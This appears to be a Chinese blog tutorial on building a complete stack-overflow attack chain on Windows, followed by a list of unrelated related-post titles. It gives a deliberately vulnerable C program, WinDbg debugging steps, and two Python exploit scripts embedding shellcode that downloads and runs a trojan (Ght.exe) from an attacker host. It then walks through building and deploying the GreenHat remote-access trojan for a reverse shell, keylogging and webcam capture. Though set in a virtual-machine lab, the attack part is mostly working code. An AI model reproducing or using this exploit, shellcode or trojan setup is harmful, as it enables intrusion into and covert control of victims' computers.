> 前言

  • 内存缓冲区溢出又名 Buffer OverFlow,是一种非常危险的漏洞,在各种操作系统和应用软件中广泛存在。利用缓冲区溢出进行的攻击,小则导致程序运行失败、系统宕机等后果,大则可以取得系统特权,甚至是运行特定代码,正是因为其隐秘不易发现的性质,广泛受到 APT 组织的青睐。随着缓冲区溢出的出现,各大系统和软件厂商都积极的采取了相应的防范措施,建立了一系列的应急响应中心,比如微软、腾讯、Adobe、谷歌、360等,导致现在挖掘缓冲区溢出漏洞变得越来越难,在如今一个能够做到完美利用的缓冲区溢出漏洞通常价值不菲
  • 相比于漏洞的发掘,漏洞的利用同样是一门学问,其难度不亚于漏洞挖掘,特别是对抗系统的防御机制和绕过软件沙盒,需要对软件的运作流程和系统的内存处理机制具有很深的造诣,比如突破 DEP 防御的 ROP 返回导向编程,或者在内核级别提权;对了,还记得袁哥的上帝之手吗,通过仅仅几十行的代码就可以突破浏览器的所有保护,可谓是开启了天人模式

  • 不知聪明的你是否发现,从漏洞的发掘到漏洞的利用是否还少了点什么,被 APT 组织利用的这些漏洞可不仅仅是弹出一个对话框,搞搞恶作剧那么简单,APT 是什么意思?全球高级持续性威胁,要做到持续性威胁需要什么?答案是木马。木马是一个让所有受害者不寒而栗的一个词,一个外行人可能没有听说过缓冲区溢出攻击,但是绝对不会没有听说过木马,木马是漏洞利用后期阶段的一个非常重要的工具之一,是稳固战利品的一个必要武器。木马是什么,其实木马就是一个计算机远程控制软件(俗称远控),但不仅仅是远控这么简单,因为这些软件需要和杀毒软件做对抗,因此需要很高超的技术来隐藏自己,也就是免杀技术,比如编码、加壳、隐藏进程、防删除等等,更有一些恶毒的系统内核病毒,通过驻守在 MBRRing0 层来防止被杀毒软件清除,即使重装系统也无济于事,比如暗云系列和双枪系列

  • 缓冲区漏洞利用基本步骤流程图(以栈溢出利用为例):

> 0x01 漏洞程序构建

  • 为了模拟缓冲区栈溢出,所以编写了一个可以读取文件内容的程序,如下所示:
#include <stdio.h>
#include <Windows.h>
#include <iostream>
#include <stdlib.h>
using namespace std;
struct File
{
FILE* file;
size_t fileread;
DWORD filesize;
};
struct FileType
{
DWORD header;
size_t headeroffset;
DWORD type;
size_t typeoffset;
DWORD code;
size_t codeoffset;
}; struct FileStream
{
size_t formatoffset;
DWORD RetainWord1;
DWORD RetainWord2;
}; long int ReadTestfile();
long int ErrorCode = NULL; int main()
{
if (ReadTestfile() == 0)
{
cout << "[*] 程序结束" << endl;
}
else
{
cout << "[-] 程序异常" << endl;
}
return 0;
} long int ReadTestfile()
{
// 创建含有漏洞的缓冲区
char str[20];
memset(str, 0, sizeof(str)); // 打开文件
File file = { 0 };
file.file = fopen("D:\\stackoverflow.pls", "r+");
if (file.file == NULL)
{
ErrorCode = 1;
return ErrorCode;
}
cout << "[+] 开始打开文件" << endl;
fseek(file.file, 0L, SEEK_END); // 读取文件大小
file.filesize = ftell(file.file);
cout << "[*] 文件大小为: " << file.filesize << endl;
fseek(file.file, 0L, SEEK_SET); // 读取文件内容
char* Buffer = (char *)malloc(file.filesize);
file.fileread = fread(Buffer, file.filesize, 1, file.file);
cout << "[*] 文件内容: " << Buffer << endl; // 模拟文件内容进行操作
FileType filetype = { 0 };
filetype.headeroffset = 4;
filetype.typeoffset = 8;
filetype.codeoffset = 12; strncpy((char *)&filetype.header, Buffer + filetype.headeroffset, 4);
strncpy((char *)&filetype.type, Buffer + filetype.typeoffset, 4);
strncpy((char *)&filetype.code, Buffer + filetype.codeoffset, 4); // 将文件偏移 16 的数据拷贝到大小为 20 的缓冲区 str
strcpy(str, Buffer + 16); // 模拟对文件数据进行操作
cout << "filetype.header: " << filetype.header << endl;
cout << "filetype.type: " << filetype.type << endl;
cout << "filetype.code: " << filetype.code << endl; FileStream filestream;
filestream.formatoffset = 0;
filestream.RetainWord1 = 4;
filestream.RetainWord2 = 8; DWORD format = NULL;
strncpy((char *)&format, str + filestream.formatoffset, 4);
cout << "[*] FileFormat: " << endl; // 释放清理操作
free(Buffer);
fclose(file.file);
return 0;
}
  • 该程序的主要工作流程是读取名为 stackoverflow.pls 的文件,并且文件的内容赋值到相应的变量之中,在赋值 str 时,由于 str 缓冲区的大小只有 20,如果 strcpy 复制的数据大于 20 的话,就会引发缓冲区溢出

> 0x02 调试漏洞程序,了解溢出点详情

  • 由于清楚了程序的流程,所以创建 stackoverflow.pls 文件,之后使用 C32Asm (16进制分析文件工具,提取码:4sj8)打开文件,如图所示在文件编译 0x14 的地方填充了许多字符 'A',使之成为具有 POC 功能的文件

  • 使用 Windbg 加载程序并运行,可以发现 Eip 指向了 0x41414141,看来 POC 已经成功的触发了漏洞导致异常

  • 查看回溯,发现父函数地址为 0x004011c1,使用 bu 0x004011c1 下断点之后重新运行

  • 运行之后断在了这个函数上,使用 t 命令跟进函数,按 p 继续向下调试

  • 发现调用 image00400000+0x1330 (00401330) 之后触发异常,同样的方法,对 0x001237 地址下断点之后重新运行

  • 运行之后断在 0x001237,之后继续跟进这个函数

  • 之后在 0x00401667 的地方返回后触发异常,由此确定地址为 0x001237 的函数是触发异常的父函数,为了方便将它命名为 overflowfun 函数

  • 之后只需要在 overflowfun 函数开头的地方查看 Esp 的值,就可以确定该函数的返回地址,同时也可以确定覆盖的字符串位于返回地址的位置;如图所示:0x0245ff14 地址的位置储存着 overflowfun 函数的返回地址,触发异常后返回地址变为 0x41414141,并且在 0x0245ff1c 之后 'A' 字符就截止了

  • 再来看一下样本就可以很清楚的看出阴影部分的位置就是被覆盖的返回地址,同时缓冲区的大小为 0x20



> 0x03 开发 Exploit 进行漏洞利用

  • 经过分析知晓了漏洞的原理和返回地址在 POC 样本中的位置,下面就可以使用 python 进行 Exploit 的开发(由于篇幅的限制,所以不打算将 ASLRDEP 的绕过写进来)
  • 在进行开发之前首先需要知道什么是 Exploit,这里有一个很形象的比喻:

  • 从上图可以看出 Exploit 完成攻击的一个完整步骤,极具模块化思想,一个完整的 Exploit 包含返回地址、跳转地址(上面分析的)和 shellcodeshellcode 是攻击当中的一个灵魂所在,正是利用它来执行恶意代码并下载木马。shellcode 开发流程:

  • 在以前开发 shellcode 需要手动编写,十分的麻烦,现在有许多工具可以简化这一步骤,下面就利用 ShellcodeCompiler (提取码:y00j)来进行开发。首先确定 shellcode 的功能:(1) 使用 URLDownloadToFileA 函数从公网服务器下载木马程序 (2) 使用 WinExec 执行木马程序 (3) 使用 ExitProcess 安全退出程序(防止被受害者察觉到)

注:关于服务器的搭建会在后面介绍

  • 将这些函数的功能写进 Source.txt 文件中,之后使用 ShellcodeCompiler 生成 shellcode

  • 如下图所示,命令运行后会生成两个文件,.bin 文件和 .asm 文件,.bin 文件是二进制格式文件,而 .asm 是对照的汇编文件

  • 打开 .bin 文件,这个就是最终生成的 shellcode,并且这个 shellcode 不含 NULL 终止符,而且函数 API 的调用是根据 PEB(进程环境块)进行动态调用,相比于手工编写确实方便了很多

  • 由于这个 shellcode 文件是以二进制方式打开的,不利于后面利用 python 构建,所以这里笔者写了一个 python 小脚本 BinaryConversion 来完成这个转换
	from os import path;
import os;
CDirectory = path.dirname(__file__);
os.chdir(CDirectory);
string = ""; result = ""; m = 1;
try:
with open("InputFile.txt", "r") as f:
print("[*] Read File: InputFile.txt:")
string = f.read()
except Exception as e:
print("[-] File does not exist")
exit(0)
if(len(string) == 0) or (len(string) > 10000):
print("[-] The file is empty!")
exit(0)
print(string)
print("")
for i in string:
result = result + i
if(m % 2 == 0):
result = result + "\\x"
m = m + 1
result = result[0:-2]
result = "b\'\\x" + result + "\';"
with open("OutFile.txt", "w") as f:
print("[*] Write File: OutFile.txt:")
f.write(result)
print(result)
print("")
  • 这个脚本会读取当前目录下的 InputFile.txt 准换过后输出至 OutFile.txt 文件:首先将二进制文件中的内容以 Hex 格式化的形式拷贝进 InputFile



  • 之后双击 BinaryConversion 脚本即可完成转换,打开查看OutFile 的内容:

  • 下面来整理一下制作 Exploit 需要哪些参数:(1) 溢出点数据距离文件偏移:0x14 (2) 缓冲区大小 0x20 (3) 返回地址:0245FF14 (4) 一些 NOP 指令 (5) 刚刚制作的 shellcode 二进制代码,接下来使用 python 脚本将他们组合起来就可以大功告成了:
	# shellcode 16进制编码
shellcode = b'\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\
\x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01\
\xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x75\xF4\x81\
\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\
\xE2\x8B\x72\x24\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\
\x8B\x14\x8E\x01\xDA\x31\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\
\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\
\x59\x50\x31\xC0\x66\xB8\x6C\x6C\x50\x68\x6F\x6E\x2E\x64\x68\x75\
\x72\x6C\x6D\x54\xFF\x54\x24\x10\x83\xC4\x0C\x50\x31\xC0\x66\xB8\
\x65\x41\x50\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\
\x6E\x6C\x68\x55\x52\x4C\x44\x54\xFF\x74\x24\x18\xFF\x54\x24\x24\
\x83\xC4\x14\x50\x31\xC0\xB8\x78\x65\x63\x23\x50\x83\x6C\x24\x03\
\x23\x68\x57\x69\x6E\x45\x54\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x83\
\xC4\x08\x50\x31\xC0\xB8\x65\x73\x73\x23\x50\x83\x6C\x24\x03\x23\
\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x24\xFF\
\x54\x24\x24\x83\xC4\x0C\x50\x31\xC0\x50\x68\x2E\x65\x78\x65\x68\
\x2F\x47\x68\x74\x68\x37\x37\x2E\x31\x68\x36\x38\x2E\x31\x68\x39\
\x32\x2E\x31\x68\x3A\x2F\x2F\x31\x68\x68\x74\x74\x70\x54\x31\xC0\
\xB8\x65\x78\x65\x23\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\
\x54\x31\xC0\x50\x31\xC0\x50\xFF\x74\x24\x08\xFF\x74\x24\x18\x31\
\xC0\x50\xFF\x54\x24\x4C\x83\xC4\x30\x31\xC0\xB8\x65\x78\x65\x23\
\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\x54\x31\xC0\x50\xFF\
\x74\x24\x04\xFF\x54\x24\x18\x83\xC4\x0C\x31\xC0\x50\xFF\x54\x24\x04'; # 缓冲区偏移 0x14 字节
vulnerabilityOffset = b'';
for x in range(0x14):
vulnerabilityOffset += b'\x11'; # 缓冲区大小 0x20 字节
bufferSize = b'';
for x in range(0x20):
bufferSize += b'\x41'; # 返回地址 0x4 字节
returnAddress = b'';
for x in range(0x4):
returnAddress = b'\x14\xfb\x45\x02'; # 汇编 nop 指令 0x8 字节
nop = b'';
for x in range(0x8):
nop += b'\x90'; # 将上面模块组合成 exploit
exploit = b'';
exploit += vulnerabilityOffset
exploit += bufferSize
exploit += returnAddress
exploit += nop
exploit += shellcode # 打印 exploit
print(exploit) # 生成 stackoverflow.pls 攻击文件
with open("stackoverflow.pls", "wb") as f:
f.write(exploit);

注:以上的 shellcode 出于时间原因并没有经过编码加密操作,异或编码加密是流行的编码方式之一;Exploit 在编写完成之后还需要经过多次测试才能真正的投入使用

> 0x04 选取精悍的 Payload(攻击载荷)搭建远控服务器

  • 知晓漏洞原理和完成了exploit 的编写后就可以发动攻击了吗?并没有,还记得上面讲到 APT 的时候说到持续性攻击吗,所以说还差一个木马(Payload)就大功告成了,木马的选取是十分麻烦的,因为编写这些木马的人大多数是黑客,编程水平层次不齐。一个烂木马 bug 多如牛毛,根本不能使用,而好的木马,不仅运行流畅,而且功能齐全。经过笔者的一番挑选之后,决定使用一款国外的木马 GreenHat,该木马十分小巧,性能强悍

注:木马虽然可以为入侵提供便捷,但木马很多时候却是一把双刃剑,因为编写和传播木马的人很多都是黑客(这里传播的意思是传播木马工具),有太多的人不怀好意的向木马软件中植入后门再赠与他人使用,使得使用木马的人反而会成为受害者,所以切记注意需要在虚拟机中使用。在网络世界(行内)除了你自己以外不要相信任何人

  • 如图所示在服务器上部署的这一款木马远控软件 GreenHat(绿帽子)(提取码:o7bd)

  • 点击 Builder 生成木马,IP 地址为本机 IP,其他配置为默认,点击 Build 就会在目录下生成木马文件

  • 只要在受害者的 PC 上运行这个程序即可,由于是虚拟机,所以点击一下测测效果

  • 成功连接上,可以看出本机 IP 地址为香港区域

  • 最后反弹 shell 并且输入 net user 命令进行测试。其实除了反弹 shellGreenHat 能做的事还有很多,比如监控键盘输入、监控受害者屏幕、开启摄像头、进行简单的文件传输,甚至可以进行分布式 DDOS 攻击…

> 0x05 收集信息,进行模拟测试,完成最后攻击

  • 攻击前的准备都已经完成了,下面需要收集受害者的 PC 的信息,模拟进行测试,加大攻击成功率。攻击网络示意图:

注:IP 为 192.168.177.1 的攻击机使用 phpstudy 开启了 www 服务,木马就放置于 www 目录下以便受害者 PC 下载

  • 经过在 Windows 7的机器上调试之后,修改了返回地址,以适应 Windows 7 系统,最终的 python 脚本如下所示:

# shellcode 16 进制编码
shellcode = b'\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\
\x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01\
\xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x75\xF4\x81\
\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\
\xE2\x8B\x72\x24\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\
\x8B\x14\x8E\x01\xDA\x31\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\
\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\
\x59\x50\x31\xC0\x66\xB8\x6C\x6C\x50\x68\x6F\x6E\x2E\x64\x68\x75\
\x72\x6C\x6D\x54\xFF\x54\x24\x10\x83\xC4\x0C\x50\x31\xC0\x66\xB8\
\x65\x41\x50\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\
\x6E\x6C\x68\x55\x52\x4C\x44\x54\xFF\x74\x24\x18\xFF\x54\x24\x24\
\x83\xC4\x14\x50\x31\xC0\xB8\x78\x65\x63\x23\x50\x83\x6C\x24\x03\
\x23\x68\x57\x69\x6E\x45\x54\xFF\x74\x24\x1C\xFF\x54\x24\x1C\x83\
\xC4\x08\x50\x31\xC0\xB8\x65\x73\x73\x23\x50\x83\x6C\x24\x03\x23\
\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x24\xFF\
\x54\x24\x24\x83\xC4\x0C\x50\x31\xC0\x50\x68\x2E\x65\x78\x65\x68\
\x2F\x47\x68\x74\x68\x37\x37\x2E\x31\x68\x36\x38\x2E\x31\x68\x39\
\x32\x2E\x31\x68\x3A\x2F\x2F\x31\x68\x68\x74\x74\x70\x54\x31\xC0\
\xB8\x65\x78\x65\x23\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\
\x54\x31\xC0\x50\x31\xC0\x50\xFF\x74\x24\x08\xFF\x74\x24\x18\x31\
\xC0\x50\xFF\x54\x24\x4C\x83\xC4\x30\x31\xC0\xB8\x65\x78\x65\x23\
\x50\x83\x6C\x24\x03\x23\x68\x47\x68\x74\x2E\x54\x31\xC0\x50\xFF\
\x74\x24\x04\xFF\x54\x24\x18\x83\xC4\x0C\x31\xC0\x50\xFF\x54\x24\x04'; # 缓冲区偏移 0x14 字节
vulnerabilityOffset = b'';
for x in range(0x14):
vulnerabilityOffset += b'\x11'; # 缓冲区大小 0x20 字节
bufferSize = b'';
for x in range(0x20):
bufferSize += b'\x41'; # 返回地址 0x4 字节
returnAddress = b'';
for x in range(0x4):
returnAddress = b'\x30\xfb\x45\x02'; # 汇编 nop 指令 0x8 字节
nop = b'';
for x in range(0x8):
nop += b'\x90'; # 将上面模块组合成 exploit
exploit = b'';
exploit += vulnerabilityOffset
exploit += bufferSize
exploit += returnAddress
exploit += nop
exploit += shellcode # 打印 exploit
print(exploit) # 生成 stackoverflow.pls 攻击文件
with open("stackoverflow.pls", "wb") as f:
f.write(exploit);
  • 运行 python 脚本生成诱饵文件



  • 将文档放入受害者系统的 C 盘目录下,运行漏洞程序,以此模拟受害者打开漏洞文档并且触发漏洞



  • 运行之后,成功的下载了 Ght.exe 木马文件

  • 木马远控服务器也连接成功

  • 反弹 shell,查询其 IP 地址,完成此次攻击

> 0x06 总结

  • 从开始针对栈溢出漏洞的完整利用,到后来利用远控木马形成完整攻击链的方式可以看出要想完成一次完美的缓冲区溢出攻击是十分艰难的,更何况有很多的细节没有写出来,比如防御机制的绕过、突破蜜罐沙盒、shellcode 加密、漏洞挖掘、病毒免杀操作、系统内核提权、传输协议加密、攻击伪装等等。袁哥说过安全界有三个时代:病毒时代、漏洞时代、对抗时代,而现在正处于对抗时代,再也不是人与计算机之间的对抗,而是人与人之间的博弈,以前一个人能完成的操作,现在需要一伙人,甚至是一群人合作才能完成;攻击的一方掌握了新的攻击方法,防御的一方就会立即制定出相应的措施,没有谁永远的处于优势,也没有谁长久的处于劣势

本次缓冲区栈溢出漏洞的完整利用介绍到此结束,如有错误,欢迎指正

仁者见仁:缓冲区栈溢出之利用 Exploit 形成完整攻击链完全攻略(含有 PayLoad)的更多相关文章

  1. 到目前为止,Linux下最完整的Samba服务器配置攻略 (转)

    http://blog.chinaunix.net/uid-23069658-id-3142052.html 安装平台为UBUNTU 14.04,直接软件中心安装samba, service smb ...

  2. 到目前为止,Linux下最完整的Samba服务器配置攻略

    关 于Samba,大家有没有这种感觉,弄了N久丫的死活不喘气儿.找来各种“哥”和“姐”,发现全是“详解…配置专题”,看了半天不知道别个在说什么,好不 容易找了个简单的教程,从头到尾跟着做,尼玛,浪费时 ...

  3. 栈溢出漏洞利用流程——以syncbrs为例

    0x1 缓冲区溢出漏洞攻击简介 缓冲区溢出攻击是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序的堆栈,使程序转而执行其他指令,以达到攻击 ...

  4. Android栈溢出漏洞利用练习

    在Github上看到一个Linux系统上的栈溢出漏洞利用练习项目: easy-linux-pwn.在原项目基础上,我稍微做了一些改动,将这个项目移植到了Android 9.0系统上: easy-and ...

  5. 最新亚马逊 Coupons 功能设置教程完整攻略!

    最新亚马逊 Coupons 功能设置教程完整攻略! http://m.cifnews.com/app/postsinfo/18479 亚马逊总是有新的创意,新的功能.最近讨论很火的,就是这个 Coup ...

  6. MDNS的漏洞报告——mdns的最大问题是允许广域网的mdns单播查询,这会暴露设备信息,或者被利用用于dns放大攻击

    Vulnerability Note VU#550620 Multicast DNS (mDNS) implementations may respond to unicast queries ori ...

  7. 完整原型链详细图解之JS构造函数、原型 原型链、实例化对象

    一.首先说一下什么是构造函数: 构造函数:用来在创建对象时初始化对象.特点:构造函数名一般为大写字母开头:与new运算符一起使用来实例化对象. 举例: function Person(){} //Pe ...

  8. 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击

    风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...

  9. Kali学习笔记22:缓冲区溢出漏洞利用实验

    实验机器: Kali虚拟机一台(192.168.163.133) Windows XP虚拟机一台(192.168.163.130) 如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢? ...

随机推荐

  1. 面试常备,字符串三剑客 String、StringBuffer、StringBuilder

    尽人事,听天命.博主东南大学硕士在读,热爱健身和篮球,乐于分享技术相关的所见所得,关注公众号 @ 飞天小牛肉,第一时间获取文章更新,成长的路上我们一起进步 本文已收录于 「CS-Wiki」Gitee ...

  2. js 数组的浅拷贝和深拷贝

    1.背景介绍 javascript分原始类型与引用类型.Array是引用类型,直接用"="号赋值的话,只是把源数组的地址(或叫指针)赋值给目的数组,指向的是同一个内存地址,其中一个 ...

  3. C语言float和double输入问题

    统计给定的n个数中,负数.零和正数的个数. Input    输入数据有多组,每组占一行,每行的第一个数是整数n(n<100),表示需要统计的数值的个数,然后是n个实数:如果n=0,则表示输入结 ...

  4. 2018.12-2019.1 TO-DO LIST

    AC自动机 P3808 [模板]AC自动机(简单版)(完成时间:2018.12.06) P3796 [模板]AC自动机(加强版)(完成时间:2018.12.06) P2444 [POI2000]病毒( ...

  5. 安装JDK9,jemter无法正常启动,怎么退回到JDK8

    安装JDK8,配置环境变量 java -version显示的是8.1 然后安装JDK9之后,java -version显示的是9+8.1 这个时候,无法正常启动jemter 在环境变量中把path的C ...

  6. FHRP - 网关冗余协议

    通常情况下,在终端设备进入网络前,都会有一个 Router 充当网络,作为第一跳的网络地址.但假设路由器发生故障,此时终端设备就无法再接入互联网. 为了防止这样的问题,一般会再加入一台路由器充当备份. ...

  7. Ubuntu20.04linux内核(5.4.0版本)编译准备与实现过程-编译前准备(1)

    最近项目也和linux kernel技术有关,调试内核和内核模块.修改内核源码,是学习内核的重要技术手段之一.应用这些技术时,都有一本基本的要求,那就是编译内核.因此,在分析内核调试技术之前,本随笔给 ...

  8. IT培训有哪些坑(二)?

    今天继续给大家分享一下IT培训都有哪些坑?有哪些不靠谱? 做招转的不靠谱.什么是招转?就是招聘转招生,名义上说的是招聘,但实际上做的就是招生.有很多大学刚毕业的计算机相关专业的同学,他们大学毕业之后, ...

  9. .Net Core 路由处理

    用户请求接口路由,应用返回处理结果.应用中如何匹配请求的数据呢?为何能如此精确的找到对应的处理方法?今天就谈谈这个路由.路由负责匹配传入的HTTP请求,将这些请求发送到可以执行的终结点.终结点在应用中 ...

  10. 开源一周岁,MindSpore新特性巨量来袭

    摘要:MindSpore很多新特性与大家见面了,无论是在效率提升.易用性,还是创新方面,都是干货满满. 最近,AI计算框架是业界的热点,各大厂商纷纷投身AI框架的自研发,究其原因:AI框架在整个人工智 ...